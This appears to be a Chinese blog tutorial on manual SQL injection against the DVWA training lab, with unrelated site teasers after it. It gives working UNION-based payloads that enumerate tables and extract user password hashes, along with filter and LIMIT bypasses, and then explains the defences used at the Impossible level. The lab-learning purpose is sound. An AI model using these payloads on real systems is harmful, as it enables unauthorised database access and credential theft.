news 2026/5/6 19:37:42

DVWA靶场通关笔记:从Low到Impossible,手把手带你复现SQL手工注入全流程

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
DVWA靶场通关笔记:从Low到Impossible,手把手带你复现SQL手工注入全流程

DVWA靶场实战:从SQL手工注入入门到防御原理深度解析

1. 环境准备与靶场搭建

在开始SQL注入实战之前,我们需要一个安全的实验环境。DVWA(Damn Vulnerable Web Application)是一个专为安全测试设计的PHP/MySQL应用,它包含了从易到难多个安全漏洞等级。

安装步骤:

  1. 下载XAMPP或WAMP集成环境(推荐XAMPP 7.4.29+)
  2. 将DVWA解压到htdocs目录
  3. 修改config/config.inc.php中的数据库配置:
$_DVWA = array(); $_DVWA[ 'db_server' ] = '127.0.0.1'; $_DVWA[ 'db_database' ] = 'dvwa'; $_DVWA[ 'db_user' ] = 'root'; $_DVWA[ 'db_password' ] = '';
  1. 访问http://localhost/dvwa/setup.php创建数据库
  2. 登录默认凭证:admin/password

注意:实验前务必备份重要数据,建议在虚拟机环境中操作

2. SQL注入基础原理与分类

SQL注入的本质是通过构造特殊输入,改变原始SQL查询的逻辑结构。根据注入点类型可分为:

类型特征示例
数字型无需引号闭合id=1 AND 1=1
字符型需要引号闭合id='1' AND '1'='1'
报错型利用数据库错误回显1' AND (SELECT 1 FROM(SELECT COUNT(*),CONCAT(version(),FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)--
盲注无直接回显1' AND SUBSTRING(database(),1,1)='d'--

手工注入通用流程:

  1. 探测注入点(单引号测试)
  2. 确定字段数量(ORDER BY)
  3. 定位回显位置(UNION SELECT)
  4. 提取数据库信息(version(), database())
  5. 枚举表结构(information_schema)
  6. 导出目标数据

3. DVWA Low级别注入实战

Low级别未做任何防护措施,是理解基础注入的绝佳起点。

完整注入过程:

  1. 判断注入类型:
1' AND '1'='1 -- 返回正常 1' AND '1'='2 -- 无结果

确认是字符型注入

  1. 确定字段数:
1' ORDER BY 3# -- 报错 1' ORDER BY 2# -- 正常

字段数为2

  1. 获取数据库信息:
1' UNION SELECT database(),user()#

返回:

dvwa | root@localhost
  1. 枚举表名:
1' UNION SELECT 1,group_concat(table_name) FROM information_schema.tables WHERE table_schema='dvwa'#

返回:

guestbook,users
  1. 提取用户凭证:
1' UNION SELECT user,password FROM users#

获得admin的MD5哈希:5f4dcc3b5aa765d61d8327deb882cf99

技巧:使用--+替代#可避免URL编码问题

4. Medium级别绕过技巧

Medium级别增加了下拉菜单和基础过滤,需要特殊技巧绕过。

关键变化:

  • 参数传递方式改为POST
  • 使用mysqli_real_escape_string过滤特殊字符
  • 前端限制为1-5的选项

绕过方案:

  1. 使用Burp Suite拦截请求:
POST /dvwa/vulnerabilities/sqli/ HTTP/1.1 id=1&Submit=Submit
  1. 数字型注入payload:
1 UNION SELECT table_name,table_schema FROM information_schema.tables WHERE table_schema=database()#
  1. 十六进制绕过字符串检测:
1 UNION SELECT 1,group_concat(column_name) FROM information_schema.columns WHERE table_name=0x7573657273#

(0x7573657273是"users"的十六进制)

5. High级别进阶挑战

High级别引入了会话隔离和LIMIT限制,增加了注入难度。

防御特点:

  • 查询与结果显示分离
  • 添加LIMIT 1限制
  • 使用Session存储参数

应对策略:

  1. 通过新窗口注入:
1' UNION SELECT database(),2#
  1. 使用子查询绕过LIMIT:
1' UNION SELECT (SELECT group_concat(table_name) FROM information_schema.tables WHERE table_schema='dvwa'),2#
  1. 分步获取数据:
1' UNION SELECT null,(SELECT password FROM users LIMIT 1 OFFSET 0)#

6. Impossible级别防御机制解析

Impossible级别展示了企业级防护方案:

安全措施:

  1. PDO预处理语句:
$data = $db->prepare('SELECT ... WHERE user_id = (:id) LIMIT 1;'); $data->bindParam(':id', $id, PDO::PARAM_INT);
  1. 类型检查:
if(is_numeric($id)) { ... }
  1. CSRF Token验证:
checkToken($_REQUEST['user_token'], $_SESSION['session_token'], 'index.php');
  1. 结果数量限制:
if($data->rowCount() == 1) { ... }

防御原理深度:

  • 参数与SQL指令分离
  • 严格的输入验证
  • 最小权限原则
  • 二次认证机制

7. 企业级防护方案建议

基于DVWA的防御演进,现代Web应用应实施:

  1. 开发层面:
  • 使用ORM框架(如Eloquent)
  • 强制参数化查询
  • 启用Strict Mode
  1. 架构层面:
# Flask-SQLAlchemy示例 from flask_sqlalchemy import SQLAlchemy db = SQLAlchemy() result = db.session.execute('SELECT * FROM users WHERE id=:id', {'id': user_input})
  1. 运维层面:
  • 定期数据库补丁更新
  • 最小权限账户配置
  • SQL注入防火墙(如ModSecurity)
  1. 监控响应:
  • 日志审计(记录所有SQL查询)
  • 异常行为检测
  • 自动化漏洞扫描

在真实渗透测试中,遇到类似Impossible级别的防护时,建议转向其他攻击面(如逻辑漏洞、SSRF等),而非执着于SQL注入突破。

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/5/6 19:35:38

3分钟搞定!FF14国际服中文补丁终极使用指南

3分钟搞定!FF14国际服中文补丁终极使用指南 【免费下载链接】FFXIVChnTextPatch 项目地址: https://gitcode.com/gh_mirrors/ff/FFXIVChnTextPatch 还在为《最终幻想14》国际服的英文界面而烦恼吗?FFXIVChnTextPatch中文补丁工具正是你需要的解决…

作者头像 李华
网站建设 2026/5/6 19:33:30

深圳市春江庐山大酒店有限公司董事长:开拓思维推动企业发展和行业变革

近期,在民建中央对外联络委员会的会议上,深圳市春江庐山大酒店有限公司对新时代企业家精神进行了深入解读。其明确指出,新时代的企业家精神应围绕创新、担当和共享这三大核心来构建。对于创新精神,深圳市春江庐山大酒店有限公司着重强调,这是企业家在瞬息万变的市场环境中立足的…

作者头像 李华
网站建设 2026/5/6 19:30:29

创业团队如何利用 Taotoken 统一管理多个 AI 模型的 API 调用与成本

创业团队如何利用 Taotoken 统一管理多个 AI 模型的 API 调用与成本 1. 多模型管理的常见挑战 小型创业团队在同时接入多个大模型时,通常会面临几个典型问题。首先是密钥管理分散,不同模型的 API Key 需要分别申请、存储和轮换,增加了安全风…

作者头像 李华
网站建设 2026/5/6 19:30:27

CBCX:国际监管框架下的稳健运营

在国际金融市场不断演进的过程中,平台的稳健性、合规性与专业性成为客户关注的核心要素。CBCX作为活跃于该领域的服务机构,其综合表现值得行业内外的关注。本文将围绕多个评测维度,对其进行系统性的观察与呈现,希望为读者带来一份…

作者头像 李华